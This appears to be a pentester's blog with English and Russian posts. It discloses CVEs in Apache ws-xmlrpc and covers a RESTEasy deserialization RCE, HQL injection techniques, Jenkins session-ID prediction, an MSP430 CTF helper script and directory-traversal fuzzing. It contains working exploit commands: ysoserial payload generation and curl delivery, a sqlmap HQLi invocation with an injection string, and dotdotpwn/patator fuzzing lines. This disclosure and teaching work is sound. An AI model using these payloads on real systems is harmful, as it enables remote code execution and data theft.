пятница, 8 июля 2016 г.

Apache XML-RPC is a XML-RPC library for Java. XML-RPC is a protocol for making remote procedure call via HTTP with the help of XML. Apache XML-RPC can be used on the client’s side to make XML-RPC calls as well as on the server’s side to expose some functionality via XML-RPC.

Now ws-xmlrpc library is not supported by Apache. Last version is 3.1.3 which was released in 2013. However, many applications still use ws-xmlrpc library. Among them are Apache Continuum and Apache Archiva.  Apache Continuum project have been moved to the Attic not long ago. But Apache Archiva is alive.

Recently I performed security assessment for Java project which had XML-RPC endpoint on /xmlrpc path. I figured out that the project used ws-xmlrpc library, and I started to dig into ws-xmlrpc to find something interesting. Finally I’ve found three vulnerabilities in ws-xmlrpc library and reported them to Apache Security Team. Because ws-xmlrpc is not supported, they have assigned following CVE numbers for Apache Archiva: CVE-2016-5002, CVE-2016-5003, and CVE-2016-5004.

To demonstrate how these vulnerabilities in ws-xmlrpc library can be abused, I wrote simple application unsafe-xmlrpc with XML-RPC functionality. To play with it, you should deploy it on your favorite servlet container, e.g. Apache Tomcat.

This application exposes functionality of Echo method of Echo class via XML-RPC. If you issue POST request to /unsafe-xmlrpc/xmlrpc and pass <methodCall> request, you will get the response with the result of Echo method invocation as shown on the screenshot.


Vulnerability CVE-2016-5004 can be abused to perform DoS attacks against application server that runs your XML-RPC endpoint. It turns out that by default ws-xmlrpc library supports Content-Encoding HTTP header. When it observes Content-Encoding: gzip header in request, it decompress request body before process it. When we add Content-Encoding: gzip header, but body is not gzipped, we have error “Not in GZIP format”.

This leads to old but gold  ‘decompression bomb’ attack. If the attacker creates a large file that consists of ‘zeroes’, he can compress it with a very good ratio. When XML-RPC endpoint starts to decompress, it wastes computational resources.

Vulnerability CVE-2016-5002 can be abused to perform SSRF attacks. XML-RPC utilizes XML, right!? And we know that Java apps are still susceptible to XXE staff, because of insecure defaults in most Java XML parsers. It turns out, that XML parser used inside ws-xmlrpc library allows to load external DTDs. But it prohibits external parameter and general entities. That is why only SSRF attacks are possible.

When we send XML with DOCTYPE declaration that loads external DTD, we can send GET request to the host of our choice on behalf of vulnerable XML-RPC endpoint.


And the last one is CVE-2016-5003. It is about untrusted deserialization in Java. Yea! It turns out that by default  ws-xmlrpc supports java.io.Serializable data types through <ex:serializable> element. We can call some method and pass serialized Java object in <ex:serializable> element. Before calling the method, ws-xmlrpc library will deserialize our object. This is craziness! 

I’ve included Apache Commons Collections 3.2.1 dependency into pom.xml of unsafe-xmlrpc  application to show RCE attack.


As takeaways from this post, if you use ws-xmlrpc library in your Java App, patch it yourself or switch to another XML-RPC library that is safe from attacks we observed here, e.g. Redstone.

Posted on пятница, июля 08, 2016 by 0ang3el

342 comments

воскресенье, 26 июня 2016 г.

RESTEasy is RedHat project for building REST services in Java. You can deploy and run RESTEasy services on various servlet containers, like Apache Tomcat, Jetty, Undertow etc. RESTEasy is included as a module in WildFly and Jboss J2EE servers.

In this post, I want to describe server-side bug, which I’ve found during assessing security of some project written in Java. This project had REST API that was built with RESTEasy.

I’ve written simple PoC application to demonstrate what can go wrong with RESTEasy services.

Consider the following JAX-RS resource class with name PoC_resource.
package unsafe.jaxrs;

import java.util.*;
import javax.ws.rs.*;
import javax.ws.rs.core.*;

@Path("/")
public class PoC_resource {

 @POST
 @Path("/concat")
 @Produces(MediaType.APPLICATION_JSON)
 @Consumes({"*/*"})
 public Map doConcat(Pair pair) {

  HashMap result = new HashMap();
  result.put("Result", pair.getP1() + pair.getP2());

  return result;
 }
 
}
This class contains JAX-RS method with name doConcat that is available via /concat path. It accepts “pair” parameter of class Pair.

I’ve added Jackson2 dependency to pom.xml. To invoke doConcat method you should issue POST request to the path /concat and pass JSON that represents object of the class Pair in the request body. You should also pass application/json in Content-Type HTTP header.

Here is the command line to invoke doConcat method of JAX-RS resource PoC_resource.
curl -i -s -k  -X 'POST' \
    -H 'Content-Type: application/json' \
    --data-binary $'{\"p1\":\"a\",\"p2\":\"b\"}' \
    'http://127.0.0.1:8080/unsafe-jaxrs/concat'
You should get similar answer.



My demo RESTEasy application has two features that make it vulnerable:
  1.  Pair class is derived from java.io.Serializable.
  2.  JAX-RS method doConcat has @Consumes({"*/*"}) annotation.
Via @Consumes annotation, you specify that JAX-RS resource or resource method accept certain values in Content-Type HTTP header. In my case, any value is allowed in Content-Type header.

RESTEasy uses so-called “providers” to marshal request body into the parameter of JAX-RS method. For my application, there is Jackson2 provider to marshal JSON into “pair” parameter.

As you might guess, RESTEasy will pick the suitable provider for marshalling based on the Class of the parameter and the value of Content-Type HTTP header.

There are non-standard providers like Jackson2 or JAXB that you should add explicitly in pom.xml. However, there are standard providers, which are located inside org.jboss.resteasy.plugins.providers package of resteasy-jaxrs JAR (core RESTEasy library). The most interesting standard provider is, of course, org.jboss.resteasy.plugins.providers.SerializableProvider.

When RESTEasy handles the request, it observes what content types are allowed for JAX-RS method (what content types are specified in @Consumes annotation for JAX-RS resource and JAX-RS resource method). RESTEasy composes short list of providers that are suitable for marshaling based on what content types are allowed for JAX-RS method, and value of Content-Type HTTP header in request. Next it iterates over this list, and for each provider invokes isReadable() method. If isReadable() of some provider returns true, RESTEasy chooses that provider for marshalling. If none of the isReadable() methods return true, we will get HTTP response with code 415.

Here you can see the listing of isReadable() method for SerializableProvider.
public boolean isReadable(Class type, Type genericType, Annotation[] annotations, MediaType mediaType)
  {
    return (Serializable.class.isAssignableFrom(type)) && (APPLICATION_SERIALIZABLE_TYPE.getType().equals(mediaType.getType())) && (APPLICATION_SERIALIZABLE_TYPE.getSubtype().equals(mediaType.getSubtype()));
  }
As you can observe in the listing, SerializableProvider is used for marshalling when parameter’s class is superclass of java.io.Serializable and Content-Type is equal to application/x-java-serialized-object.

To construct object from request body readFrom() method of SerializableProvider is invoked, which performs deserialization by calling readObject(). And we might have RCE, if there are “interesting” Java classes in the CLASSPATH.
public Serializable readFrom(Class type, Type genericType, Annotation[] annotations, MediaType mediaType, MultivaluedMap httpHeaders, InputStream entityStream)
    throws IOException, WebApplicationException
  {
    BufferedInputStream bis = new BufferedInputStream(entityStream);
    ObjectInputStream ois = new ObjectInputStream(bis);
    try
    {
      return (Serializable)Serializable.class.cast(ois.readObject());
    }
    catch (ClassNotFoundException e)
    {
      throw new WebApplicationException(e);
    }
  }
For demonstration, I’ve added Apache Commons Collections 3.2.1 dependency in pom.xml.

First, I generate payload using ysoserial tool. Then I invoke doConcat method with curl and use Content-Type application/x-java-serialized-object.
java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections1 "curl 127.0.0.1:8888" > /tmp/payload


curl -i -s -k  -X 'POST' \
    -H 'Content-Type: application/x-java-serialized-object' \
    -H 'Expect:' \
    --data-binary "@/tmp/payload" \
    'http://127.0.0.1:8080/unsafe-jaxrs/concat'



I have remote code execution.


Let’s summarize

For Pentesters. JAX-RS methods are vulnerable to “deserialization of untrusted data” bug  when the following conditions are met:
  1. Content type is not specified explicitly for JAX-RS method via @Consumes annotation or specified, but too broad (e.g. */*, application/*).
  2. JAX-RS method has parameter of class that is serializable.
For developers. Specify explicitly allowed content types using @Consumes annotation because there are potentially dangerous default providers.

Posted on воскресенье, июня 26, 2016 by 0ang3el

111 comments

четверг, 3 декабря 2015 г.

Last week I had two short talks on ZeroNights 0x05 conference.

The first talk was about security flaws in WebDav libraries and online services that supports WebDav protocol. I’ve presented it alone. Doing research I’ve found number of interesting vulnerabilities, got 2 CVEs, have been included into yandex’s October hall of fame - https://yandex.com/bugbounty/hall-of-fame/2015/10/.  Also I’ve uncovered neat XXE exploitation trick using PUT, PROPPATCH, PROPFIND sequence of requests.

I was limited in time doing the research and, probably, missed cool findings. Nevertheless, using my approach you can find more interesting vulnerabilities in WebDav services :))

WebDav is widely used, it is complex, there are many implementations on different programming languages and its security is not researched well – there are few talks and public CVEs regarding WebDav. Thus, WebDav endpoints might conceal interesting bugs - pentester/bughunter should consider it. 

Here is the presentation slides.



The second talk I had with my friend Sergey. In short, the purpose of our research was to discover new ways of HQL injection exploitation. HQL is object-oriented language and is limited versus normal SQL.

When it comes to HQLi exploitation, the main obstacle for the attacker is the fact that in worst case he can only access one table that is directly mapped to the entity. This is not cool :((

We studied how Hibernate works - how it parses HQL queries and translates them into SQL queries. Finally, we found bypassing techniques that allow us to access arbitrary tables in the database. Our techniques work for MySQL, Postgresql, Oracle, and Microsoft SQL Server DBMS.

Here the slides of our presentation.



Our work attracted much attention, more than 6000 views in a week. Thanks to @agarri_fr and @h3xstream for promoting our work on Twitter :))

Doing research, I have developed simple Java application I called hqli.playground with secure and insecure endpoints. Here is the link to the application - https://github.com/0ang3el/HQLi-playground. Application gets name parameter in URL and crates HQL query based on its value.

Secure endpoint uses named parameter :name to securely pass URL parameter to HQL query. 
Query query = em.createQuery("SELECT p FROM Post p where p.name=:name", Post.class);
query.setParameter("name", name);
Contrary, insecure endpoint uses string concatenation to pass URL parameter to HQL query.
Query query = em.createQuery("SELECT p FROM Post p where p.name='" + name + "'", Post.class);

To trigger HQLi you have to navigate to URL http://hqli.playground.local:8080/hqli.playground/dummy’or’1’=’1. Doing that you will get all records from post table. In contrast, when you call secure endpoint by navigating to http://hqli.playground.local:8080/hqli.playground/secure/dummy’or’1’=’1 URL, you will get nothing, because secure implementation treats dummy’or’1’=’1 as a string.

I’ve made VM with hqli.playground application running on WildFly application server and Postgresql database. WildFly uses Hiberante as default ORM. Here is the link to the VM - http://0ang3el.com/hqli/hqli-playground-postgresql.ova. OS user is ubuntu password is reverse. When Postgresql is used as DBMS, you can exploit HQLi using sqlmap (http://sqlmap.org).

This command line allows you to dump database banner.
sqlmap -u "http://hqli.playground.local:8080/hqli.playground/dummy%27%20and%20array_upper%28xpath%28%27row%27%2Cquery_to_xml%28%27select%201%20where%201337%3E1*%27%2Ctrue%2Cfalse%2C%27%27%29%29%2C1%29%3D1%20and%20%271%27%3D%271" --dbms="PostgreSQL" --technique B -b -v 0
For convenience, here is decoded URL parameter. Star symbol ‘*’ denotes injection point for sqlmap.
dummy' and array_upper(xpath('row',query_to_xml('select 1 where 1337>1*',true,false,'')),1)=1 and '1'='1
Presentation explains why this works. Also I’ve made video with HQLi exploitation for Postgresql.


I can say that for Oracle and MySQL you can also use sqlmap to exploit HQLi. The hardest DBMS was Microsoft SQL Server - it is not possible to use sqlmap directly for exploitation. Thanks to Sergey, he wrote Perl script for extracting tables/columns information and dumping table content. Script is available here - https://github.com/0ang3el/Hibernate-Injection-Study. Besides, Sergey made nice video about HQLi exploitation.



Posted on четверг, декабря 03, 2015 by 0ang3el

9 comments

пятница, 26 декабря 2014 г.

Я прошел недавно Matasano Microcorruption CTF. Очень крутой challenge для тех кто хочет "пощупать" реверсинг для встроенных платформ или проэксплуатировать переполнение буфера в 16-битном микропроцессоре и написать шелкод для него. Но не имеет возможности или не знает с чего начать.

Смысл квеста "ломать" замкИ, которые работают на микроконтроллере MSP430. Все работает в браузере - парни из Matasano Security постарались и написали онлайн отладчик/дизассемблер для MSP430. Всего 19 уровней с возрастающей сложностью. Над последними двумя уровнями придется "поморщить мозг". Очень зачетный квест.

Отладчик в браузере - это очень удобно с одной стороны. Можно проходить квест лежа на диване с планшетом. В то же время отладчик имеет весьма ограниченный набор команд. Через 10 минут неактивности сессия отваливается и все выставленные брейкпоинты исчезают - нужно их заново ставить, что раздражает. К тому же последние уровни содержат много ассемблерного кода. Поэтому браузерный отладчик не очень удобен и хочется полноценного gdb.

Фанат микропроцессора MSP430 и Matasano Microcorruption CTF  написал эмулятор -  https://github.com/cemeyer/msp430-emu-uctf. На гитхабе написано подробно как ставить этот эмулятор и коннектить к нему GDB. В качестве аргумента эмулятору передается romfile.

Выкладываю питон-скрипт который конвертит live memory dump из браузерного отладчика в romfile. Может кому пригодится.


import binascii, sys

def main():
    fINname = sys.argv[1]
    fOUTname = sys.argv[2]
    
    fIN = open(fINname,"rb")
    fOUT = open(fOUTname,"wb")

    bytesWritten = 0

    while True:
        line  = fIN.readline()

        if line == "":
            break
        
        l = line.split(" ")

        a0 = int(l[0][:-1],16)
       
        if l[-1] == "*\r\n":
            line = fIN.readline()
            l = line.split(" ")

            a1 = int(l[0][:-1],16)

            for i in range(a1-a0):
                fOUT.write("\x00")
                bytesWritten += 1
            
        s = binascii.unhexlify("".join(l[3:-3]))
        fOUT.write(s)
        bytesWritten += len(s)

    print "[+] Bytes written",bytesWritten
    fIN.close()
    fOUT.close()

if __name__ == "__main__":
    main()

Posted on пятница, декабря 26, 2014 by 0ang3el

20 comments

вторник, 27 мая 2014 г.

Был спикером на конференции. У нас с Сергеем был доклад на тему безопасности использования генераторов псевдослучайных чисел в приложениях, написанных на языке Java.

Презентацию, код программы JavaCG и python-скрипты ищите на GitHub - https://github.com/votadlos/JavaCG.git

Ссылки на видео, которые мы показывали:

1. Пример использования программы JavaCG - http://www.youtube.com/watch?v=mdOfZMsj4hA

2. Угон пользовательской сессии в Jenkins - http://www.youtube.com/watch?v=BwXhpjiCTyA

3. Раскрытие SSL в JacORB - http://www.youtube.com/watch?v=B3EkrmNWeJs

4. Угон пользовательской сессии в Jetty, запущенном на GNU Classpath -               http://www.youtube.com/watch?v=--ZuBUc2F2Y


Posted on вторник, мая 27, 2014 by 0ang3el

9 comments

четверг, 16 января 2014 г.

Me and my colleague (http://reply-to-all.blogspot.ru/) performed research and figured out vulnerability in Jenkins CI and Hudson CI software. Versions of Jenkins prior to 1.534 and versions of Hudson prior to 3.0.0 are vulnerable as they use Winstone servlet engine in default installation. Winstone servlet engine implements weak algorithm for generating session identifiers. Remote attacker could predict valid session identifiers to hijack user sessions and gain unauthorized access to the application running above Winstone. Valid login and password are not necessary for intruder to perform such attack.

To cope with this issue the solution is to use Jenkins version 1.534 and above, Hudson version 3.0.0 and above which use Jetty by default. Another possible solution is to run application server software that use robust session id generation algorithm like Tomcat or Jetty.

We reported our findings to Jenkins CI community.

Posted on четверг, января 16, 2014 by 0ang3el

36 comments

вторник, 12 ноября 2013 г.

В состав Kali LinuxBacktrack Linux) входит фазер dotdotpwn, который позволяет искать уязвимости Directory Traversal в Web/FTP/TFTP серверах и веб-приложениях. Он разработан парнями chr1x и nitr0us. Презентацию про dotdotpwn с BlackHat 2011 можно посмотреть здесь  https://media.blackhat.com/bh-us-11/Arsenal/BH_US_11_Nitrous_DotDotPwn_Slides.pdf. Форум проекта находится здесь http://dotdotpwn.blogspot.com/.

Отличный фазер, он поддерживает различные кодировки и паттерны для обхода фильтров. Огорчило то, что фазер не поддерживает многопоточность. Сложно пользоваться однопоточным фазером.

Предлагаю следующее решение проблемы. Dotdotpwn поддерживает разные модули:  http, http-url, ftp, tftp, payload, stdout. Модули задаются опцией –m. Модуль stdout позволяет сгенерировать traversal строки для фазинга в поток stdout.

Генерируем traversal строки в файл fuzz.txt следующей командой.
root@bt:/pentest/web/dotdotpwn# ./dotdotpwn.pl -m stdout -f xampp/passwords.txt > /tmp/fuzz.txt
Непосредственно для фазинга используем многопоточный фазер Patator, он входит в состав Kali LinuxBacktrack Linux). На вход подаем файл fuzz.txt со строками. Примеры использования фазера лучше всего смотреть в тексте скрипта Patator.py.

Для фазинга веб-приложения запускаем Patator со следующими параметрами.
root@bt:/pentest/passwords/patator# ./patator.py http_fuzz url="http://192.168.66.2:8080/bwapp/directory_traversal_1.php?page=FILE0" 0=/tmp/fuzz.txt header='Cookie:PHPSESSID=aamd0l4rup8ass6ruqp5q1tgr0; security_level=0' -x ignore:fgrep!='### XAMPP Default Passwords ###'
В результате получаем значения параметра page, которые позволяют прочитать, файл xampp/passwords.txt.

Смотрим скринкаст про то, как фазить bWAPP с помощью dotdotpwn и patator.

Posted on вторник, ноября 12, 2013 by 0ang3el

5 comments